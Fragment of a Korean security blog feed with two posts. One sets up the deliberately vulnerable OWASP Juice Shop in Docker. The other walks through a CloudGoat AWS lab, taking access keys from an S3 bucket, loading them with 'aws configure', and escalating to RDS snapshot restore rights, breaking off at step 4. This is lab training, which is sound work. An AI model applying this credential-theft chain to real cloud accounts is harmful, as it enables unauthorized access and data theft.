&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;Juice&amp;nbsp;Shop&amp;nbsp;환경&amp;nbsp;구축&lt;/b&gt;&lt;/h3&gt;
&lt;figure id=&quot;og_1774424582898&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;object&quot; data-og-title=&quot;GitHub - juice-shop/juice-shop: OWASP Juice Shop: Probably the most modern and sophisticated insecure web application&quot; data-og-description=&quot;OWASP Juice Shop: Probably the most modern and sophisticated insecure web application - juice-shop/juice-shop&quot; data-og-host=&quot;github.com&quot; data-og-source-url=&quot;https://github.com/juice-shop/juice-shop&quot; data-og-url=&quot;https://github.com/juice-shop/juice-shop&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/bkcbuE/dJMb9lMa8iV/1N6YBAHvtzBOFNGIxOmGv0/img.jpg?width=1500&amp;amp;height=500&amp;amp;face=0_0_1500_500,https://scrap.kakaocdn.net/dn/bmBlDO/dJMb9hC0U28/anlKk8hyIZ4oWRo4BiEffK/img.jpg?width=1500&amp;amp;height=500&amp;amp;face=0_0_1500_500&quot;&gt;&lt;a href=&quot;https://github.com/juice-shop/juice-shop&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://github.com/juice-shop/juice-shop&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/bkcbuE/dJMb9lMa8iV/1N6YBAHvtzBOFNGIxOmGv0/img.jpg?width=1500&amp;amp;height=500&amp;amp;face=0_0_1500_500,https://scrap.kakaocdn.net/dn/bmBlDO/dJMb9hC0U28/anlKk8hyIZ4oWRo4BiEffK/img.jpg?width=1500&amp;amp;height=500&amp;amp;face=0_0_1500_500');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;GitHub - juice-shop/juice-shop: OWASP Juice Shop: Probably the most modern and sophisticated insecure web application&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;OWASP Juice Shop: Probably the most modern and sophisticated insecure web application - juice-shop/juice-shop&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;github.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&amp;nbsp;&lt;/h4&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;Docker Desktop 실행&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt; &lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Docker Desktop 실행 후 오른쪽 하단 트레이 아이콘(고래 모양)이 초록색으로 변할 때까지 기다려야 한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;485&quot; data-origin-height=&quot;53&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cLWovG/dJMcagkAjYC/YoNHyhh8tjiekMuuGSOYkk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cLWovG/dJMcagkAjYC/YoNHyhh8tjiekMuuGSOYkk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cLWovG/dJMcagkAjYC/YoNHyhh8tjiekMuuGSOYkk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcLWovG%2FdJMcagkAjYC%2FYoNHyhh8tjiekMuuGSOYkk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;485&quot; height=&quot;53&quot; data-origin-width=&quot;485&quot; data-origin-height=&quot;53&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;PowerShell 관리자&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;PowerShell을 관리자로 실행하고 아래 명령어를 입력한다.&lt;/p&gt;
&lt;pre id=&quot;code_1774424838496&quot; class=&quot;applescript&quot; style=&quot;background-color: #f8f8f8; color: #383a42; text-align: start;&quot; data-ke-type=&quot;codeblock&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;docker version&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size18&quot;&gt;Server: 부분의 정보가 제대로 출력되면 이제 준비가 된 것이다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1774424742772&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;docker pull bkimminich/juice-shop&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;위 명령어를 입력하고 기다리면 Status: Downloaded newer image for bkimminich/juice-shop:latest 메시지가 출력되는데 설치가 정상적으로 완료된 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt; 주스샵 실행&lt;/b&gt;&lt;/h4&gt;
&lt;pre id=&quot;code_1774424953385&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;docker run --rm -p 127.0.0.1:3000:3000 bkimminich/juice-shop&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;5,0,0&quot;&gt;--rm&lt;/b&gt;: 컨테이너를 종료하면 남은 파일을 자동으로 삭제해 주는 옵션&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;5,1,0&quot;&gt;-p 3000:3000&lt;/b&gt;: 내 컴퓨터의 3000번 포트와 도커의 3000번 포트를 연결하는 옵션&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt; 웹사이트 접속하기&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;위 명령어를 치고 나면 터미널에 로그가 올라오는데 서버가 돌아가기 시작했다는 신호다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;웹 브라우저를 열고 주소창에 &lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;9,1,1,0&quot;&gt;&lt;span style=&quot;background-color: #ffc1c8; color: #ee2323;&quot;&gt;http://localhost:3000&lt;/span&gt;&amp;nbsp;&lt;/b&gt;를 입력하면 된다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2880&quot; data-origin-height=&quot;1462&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/uB5vr/dJMcagSrR5K/9DsaCkSOxdRk4IaXMLiAuK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/uB5vr/dJMcagSrR5K/9DsaCkSOxdRk4IaXMLiAuK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/uB5vr/dJMcagSrR5K/9DsaCkSOxdRk4IaXMLiAuK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FuB5vr%2FdJMcagSrR5K%2F9DsaCkSOxdRk4IaXMLiAuK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2880&quot; height=&quot;1462&quot; data-origin-width=&quot;2880&quot; data-origin-height=&quot;1462&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;정상적으로 설치가 되었고 접속도 잘 되는 것을 확인했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;터미널 창에서 Ctrl + C를 누르면 서버가 안전하게 종료된다.&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;OWASP TOP 10 정리&lt;/b&gt;&lt;b&gt;&lt;/b&gt;&lt;/h4&gt;
&lt;figure id=&quot;og_1774428938306&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;article&quot; data-og-title=&quot;OWASP Top 10 2025&quot; data-og-description=&quot;OWASP(Open Web Application Security Project, 국제 웹 보안 표준기구)는 소프트웨어 보안 향상을 목적으로 활동하는 글로벌 비영리 재단이다. 웹 애플리케이션 보안에 관한 표준 가이드와 도구를 개발 및 &quot; data-og-host=&quot;chon29.tistory.com&quot; data-og-source-url=&quot;https://chon29.tistory.com/44&quot; data-og-url=&quot;https://chon29.tistory.com/44&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/mFsnF/dJMb8TB9dzF/yvKM3wi8WeYvkQpUKhUwrk/img.png?width=129&amp;amp;height=129&amp;amp;face=0_0_129_129,https://scrap.kakaocdn.net/dn/bEdoN0/dJMb84p8iTa/14OoyVDM6QJVp8TZi0uabK/img.png?width=129&amp;amp;height=129&amp;amp;face=0_0_129_129,https://scrap.kakaocdn.net/dn/fsYV9/dJMb89ydcqn/DfvGctHab1CBs1vzUOYlAk/img.png?width=1234&amp;amp;height=353&amp;amp;face=0_0_1234_353&quot;&gt;&lt;a href=&quot;https://chon29.tistory.com/44&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://chon29.tistory.com/44&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/mFsnF/dJMb8TB9dzF/yvKM3wi8WeYvkQpUKhUwrk/img.png?width=129&amp;amp;height=129&amp;amp;face=0_0_129_129,https://scrap.kakaocdn.net/dn/bEdoN0/dJMb84p8iTa/14OoyVDM6QJVp8TZi0uabK/img.png?width=129&amp;amp;height=129&amp;amp;face=0_0_129_129,https://scrap.kakaocdn.net/dn/fsYV9/dJMb89ydcqn/DfvGctHab1CBs1vzUOYlAk/img.png?width=1234&amp;amp;height=353&amp;amp;face=0_0_1234_353');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;OWASP Top 10 2025&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;OWASP(Open Web Application Security Project, 국제 웹 보안 표준기구)는 소프트웨어 보안 향상을 목적으로 활동하는 글로벌 비영리 재단이다. 웹 애플리케이션 보안에 관한 표준 가이드와 도구를 개발 및&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;chon29.tistory.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;Juice Shop은&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b data-path-to-node=&quot;12&quot; data-index-in-node=&quot;12&quot;&gt;OWASP Top 10&lt;/b&gt;에 포함된 대부분의 취약점을 포함하고 있어 해당 글을 보고 학습하면 도움이 될 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot; data-path-to-node=&quot;5&quot;&gt;&lt;b data-path-to-node=&quot;5&quot; data-index-in-node=&quot;0&quot;&gt;OWASP Juice Shop Write-up&lt;/b&gt;&lt;/h3&gt;
&lt;figure id=&quot;og_1774431567110&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;object&quot; data-og-title=&quot;GitHub - Whyiest/Juice-Shop-Write-up: Non-official write up for the Juice-Shop CTF&quot; data-og-description=&quot;Non-official write up for the Juice-Shop CTF. Contribute to Whyiest/Juice-Shop-Write-up development by creating an account on GitHub.&quot; data-og-host=&quot;github.com&quot; data-og-source-url=&quot;https://github.com/Whyiest/Juice-Shop-Write-up&quot; data-og-url=&quot;https://github.com/Whyiest/Juice-Shop-Write-up&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/bXCuFv/dJMb9eTPiID/trhGANOrKdhbyKRBb9oIDK/img.png?width=1200&amp;amp;height=600&amp;amp;face=993_150_1036_198,https://scrap.kakaocdn.net/dn/cxvepb/dJMb8YXK7Yn/utm6p6hWQjeq7mm3ySSCBk/img.png?width=1200&amp;amp;height=600&amp;amp;face=993_150_1036_198&quot;&gt;&lt;a href=&quot;https://github.com/Whyiest/Juice-Shop-Write-up&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://github.com/Whyiest/Juice-Shop-Write-up&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/bXCuFv/dJMb9eTPiID/trhGANOrKdhbyKRBb9oIDK/img.png?width=1200&amp;amp;height=600&amp;amp;face=993_150_1036_198,https://scrap.kakaocdn.net/dn/cxvepb/dJMb8YXK7Yn/utm6p6hWQjeq7mm3ySSCBk/img.png?width=1200&amp;amp;height=600&amp;amp;face=993_150_1036_198');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;GitHub - Whyiest/Juice-Shop-Write-up: Non-official write up for the Juice-Shop CTF&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;Non-official write up for the Juice-Shop CTF. Contribute to Whyiest/Juice-Shop-Write-up development by creating an account on GitHub.&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;github.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>OpenClaw 프로젝트</category>
      <category>Juice Shop</category>
      <category>OWASP TOP 10</category>
      <author>chon29</author>
      <guid isPermaLink="true">https://chon29.tistory.com/50</guid>
      <comments>https://chon29.tistory.com/50#entry50comment</comments>
      <pubDate>Wed, 25 Mar 2026 18:03:38 +0900</pubDate>
    </item>
    <item>
      <title>[ CloudGoat | Medium ] RDS_snapshot 시나리오 실습</title>
      <link>https://chon29.tistory.com/48</link>
      <description>&lt;figure id=&quot;og_1774228192263&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;object&quot; data-og-title=&quot;cloudgoat/cloudgoat/scenarios/aws/rds_snapshot/README.md at master &amp;middot; RhinoSecurityLabs/cloudgoat&quot; data-og-description=&quot;CloudGoat is Rhino Security Labs' &amp;quot;Vulnerable by Design&amp;quot; AWS deployment tool - RhinoSecurityLabs/cloudgoat&quot; data-og-host=&quot;github.com&quot; data-og-source-url=&quot;https://github.com/RhinoSecurityLabs/cloudgoat/blob/master/cloudgoat/scenarios/aws/rds_snapshot/README.md&quot; data-og-url=&quot;https://github.com/RhinoSecurityLabs/cloudgoat/blob/master/cloudgoat/scenarios/aws/rds_snapshot/README.md&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/bKn2dZ/dJMb8RRRfk3/KmIth0T7Y358O6ajubSQIK/img.jpg?width=1140&amp;amp;height=400&amp;amp;face=0_0_1140_400,https://scrap.kakaocdn.net/dn/FXwq1/dJMb9hC0FR5/tK7cNslLn3uBsubCxGU0DK/img.jpg?width=1140&amp;amp;height=400&amp;amp;face=0_0_1140_400,https://scrap.kakaocdn.net/dn/o9LSO/dJMb9iaQuQO/QvTHBaJ7dlwSIKFxdBiTP1/img.png?width=991&amp;amp;height=441&amp;amp;face=0_0_991_441&quot;&gt;&lt;a href=&quot;https://github.com/RhinoSecurityLabs/cloudgoat/blob/master/cloudgoat/scenarios/aws/rds_snapshot/README.md&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://github.com/RhinoSecurityLabs/cloudgoat/blob/master/cloudgoat/scenarios/aws/rds_snapshot/README.md&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/bKn2dZ/dJMb8RRRfk3/KmIth0T7Y358O6ajubSQIK/img.jpg?width=1140&amp;amp;height=400&amp;amp;face=0_0_1140_400,https://scrap.kakaocdn.net/dn/FXwq1/dJMb9hC0FR5/tK7cNslLn3uBsubCxGU0DK/img.jpg?width=1140&amp;amp;height=400&amp;amp;face=0_0_1140_400,https://scrap.kakaocdn.net/dn/o9LSO/dJMb9iaQuQO/QvTHBaJ7dlwSIKFxdBiTP1/img.png?width=991&amp;amp;height=441&amp;amp;face=0_0_991_441');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;cloudgoat/cloudgoat/scenarios/aws/rds_snapshot/README.md at master &amp;middot; RhinoSecurityLabs/cloudgoat&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;CloudGoat is Rhino Security Labs' &quot;Vulnerable by Design&quot; AWS deployment tool - RhinoSecurityLabs/cloudgoat&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;github.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #1f2328; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;Scenario Resources&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc; background-color: #ffffff; color: #1f2328; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;1 VPC with: &lt;span data-path-to-node=&quot;16,1,2,0&quot;&gt;내부망 진입 후 리소스 간 통신 채널로 활용&lt;/span&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;EC2 x 1 : 부여된 IAM Role을 이용해 AWS API 호출 기지로 사용&lt;/li&gt;
&lt;li&gt;S3 x 1 : 방치된 access_key를 획득하여 새로운 신분(David) 확보&lt;/li&gt;
&lt;li&gt;RDS x 1 : 스냅샷 복원 및 비밀번호 변경을 통한 데이터 최종 탈취 대상&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;1 IAM Users : 권한 상승(Privilege Escalation)의 도구, &lt;span data-path-to-node=&quot;16,4,2,0&quot;&gt;특정 서비스(RDS)에 특화된 위험 권한 행사&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div style=&quot;background-color: #ffffff; color: #1f2328; text-align: start;&quot;&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;Scenario Start(s)&lt;/h2&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #333333; font-size: 16px; letter-spacing: 0px;&quot;&gt;IAM User &quot;David&quot; : 침투된 EC2 인스턴스에 대한 SSH 접근 권한 보유 &lt;/span&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #1f2328; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;Scenario Goal(s)&lt;/h2&gt;
&lt;p style=&quot;background-color: #ffffff; color: #1f2328; text-align: start;&quot; data-ke-size=&quot;size18&quot;&gt;RDS 스냅샷을 복원하여 내부에 숨겨진 &lt;b data-index-in-node=&quot;35&quot; data-path-to-node=&quot;5,2,0&quot;&gt;FLAG&lt;/b&gt; 탈취&lt;/p&gt;
&lt;div style=&quot;background-color: #ffffff; color: #1f2328; text-align: start;&quot;&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #1f2328; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;Summary&lt;/h2&gt;
&lt;a id=&quot;user-content-summary&quot; style=&quot;background-color: #000000; color: #0969da;&quot; href=&quot;https://github.com/RhinoSecurityLabs/cloudgoat/blob/master/cloudgoat/scenarios/aws/rds_snapshot/README.md#summary&quot;&gt;&lt;/a&gt;&lt;/div&gt;
&lt;p style=&quot;background-color: #ffffff; color: #1f2328; text-align: start;&quot; data-ke-size=&quot;size18&quot;&gt;EC2 인스턴스에 접근 권한을 얻는 것부터 시작하여, 사용자는 EC2 인스턴스의 권한을 악용하여 S3에서 자격 증명을 탈취할 수 있습니다.&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #1f2328; text-align: start;&quot; data-ke-size=&quot;size18&quot;&gt;탈취한 자격 증명을 이용하면 공격자는 RDS 스냅샷 복원 권한을 획득하여 데이터베이스에 접근하고 플래그를 검색할 수 있습니다.&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #1f2328; text-align: start;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div style=&quot;background-color: #ffffff; color: #1f2328; text-align: start;&quot;&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #1f2328; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;Exploitation Route(s)&lt;/h2&gt;
&lt;a id=&quot;user-content-exploitation-routes&quot; style=&quot;background-color: #000000; color: #0969da;&quot; href=&quot;https://github.com/RhinoSecurityLabs/cloudgoat/blob/master/cloudgoat/scenarios/aws/rds_snapshot/README.md#exploitation-routes&quot;&gt;&lt;/a&gt;&lt;/div&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;991&quot; data-origin-height=&quot;441&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/48bD8/dJMcajheOcv/XNvCNQMxYYkko6wyBq66Bk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/48bD8/dJMcajheOcv/XNvCNQMxYYkko6wyBq66Bk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/48bD8/dJMcajheOcv/XNvCNQMxYYkko6wyBq66Bk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F48bD8%2FdJMcajheOcv%2FXNvCNQMxYYkko6wyBq66Bk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;991&quot; height=&quot;441&quot; data-origin-width=&quot;991&quot; data-origin-height=&quot;441&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;div data-ke-type=&quot;moreLess&quot; data-text-more=&quot;더보기&quot; data-text-less=&quot;닫기&quot;&gt;&lt;a class=&quot;btn-toggle-moreless&quot;&gt;더보기&lt;/a&gt;
&lt;div class=&quot;moreless-content&quot;&gt;
&lt;h3 data-path-to-node=&quot;8&quot; data-ke-size=&quot;size23&quot;&gt;1. 초기 정찰 및 내부 권한 분석&lt;/h3&gt;
&lt;p data-path-to-node=&quot;9&quot; data-ke-size=&quot;size16&quot;&gt;침투한 EC2 인스턴스에서 현재 어떤 권한을 가지고 있는지 파악하는 단계&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-path-to-node=&quot;10&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;10,0,0&quot;&gt;신원 확인&lt;/b&gt;: aws sts get-caller-identity를 통해 현재 EC2가 cg-ec2-admin-role 역할을 수행 중임을 확인&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;10,1,0&quot;&gt;권한 분석&lt;/b&gt;: 해당 역할의 인라인 정책(cg-ec2-admin-policy)을 분석한 결과:
&lt;ul style=&quot;list-style-type: disc;&quot; data-path-to-node=&quot;10,1,1&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;10,1,1,0,0&quot;&gt;S3&lt;/b&gt;: 모든 리소스에 대한 전체 권한(s3:*) 보유.&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;10,1,1,1,0&quot;&gt;IAM&lt;/b&gt;: 정보 조회 권한(List*, Get*) 보유.&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;10,1,1,2,0&quot;&gt;한계&lt;/b&gt;: 우리가 목표로 하는 &lt;b data-index-in-node=&quot;15&quot; data-path-to-node=&quot;10,1,1,2,0&quot;&gt;RDS&lt;/b&gt; 관련 권한이 전혀 없음을 식별&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 data-path-to-node=&quot;11&quot; data-ke-size=&quot;size23&quot;&gt;2. S3 데이터 마이닝을 통한 자격 증명 탈취&lt;/h3&gt;
&lt;p data-path-to-node=&quot;12&quot; data-ke-size=&quot;size16&quot;&gt;부여된 S3 전체 권한을 이용해 내부의 민감 정보를 탐색&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-path-to-node=&quot;13&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;13,0,0&quot;&gt;버킷 탐색&lt;/b&gt;: aws s3 ls로 cg-data-s3-bucket-[ID] 버킷을 발견&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;13,1,0&quot;&gt;민감 파일 식별&lt;/b&gt;: 버킷 내부에서 access_keys.txt라는 결정적인 파일을 찾아냄&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;13,2,0&quot;&gt;내용 탈취&lt;/b&gt;: aws s3 cp ... - 명령으로 파일 내부에 숨겨진 &lt;b data-index-in-node=&quot;39&quot; data-path-to-node=&quot;13,2,0&quot;&gt;IAM 사용자 'David'의 Access Key와 Secret Key&lt;/b&gt;를 확보&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 data-path-to-node=&quot;14&quot; data-ke-size=&quot;size23&quot;&gt;3. 권한 상승 및 타겟(RDS) 분석&lt;/h3&gt;
&lt;p data-path-to-node=&quot;15&quot; data-ke-size=&quot;size16&quot;&gt;탈취한 David의 키를 사용하여 더 높은 권한으로 이동&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-path-to-node=&quot;16&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;16,0,0&quot;&gt;프로필 등록&lt;/b&gt;: aws configure --profile david 명령으로 탈취한 키를 시스템에 등록&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;16,1,0&quot;&gt;David 권한 검증&lt;/b&gt;: david 사용자에게 부여된 정책을 분석한 결과, &lt;b data-index-in-node=&quot;41&quot; data-path-to-node=&quot;16,1,0&quot;&gt;rds:RestoreDBInstanceFromDBSnapshot&lt;/b&gt; 및 &lt;b data-index-in-node=&quot;79&quot; data-path-to-node=&quot;16,1,0&quot;&gt;rds:ModifyDBInstance&lt;/b&gt; 권한이 있음을 확인. 이는 스냅샷을 복원하고 비밀번호를 바꿀 수 있는 치명적인 권한이다.&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 data-path-to-node=&quot;17&quot; data-ke-size=&quot;size23&quot;&gt;4. RDS 스냅샷 부활 및 하이재킹&lt;/h3&gt;
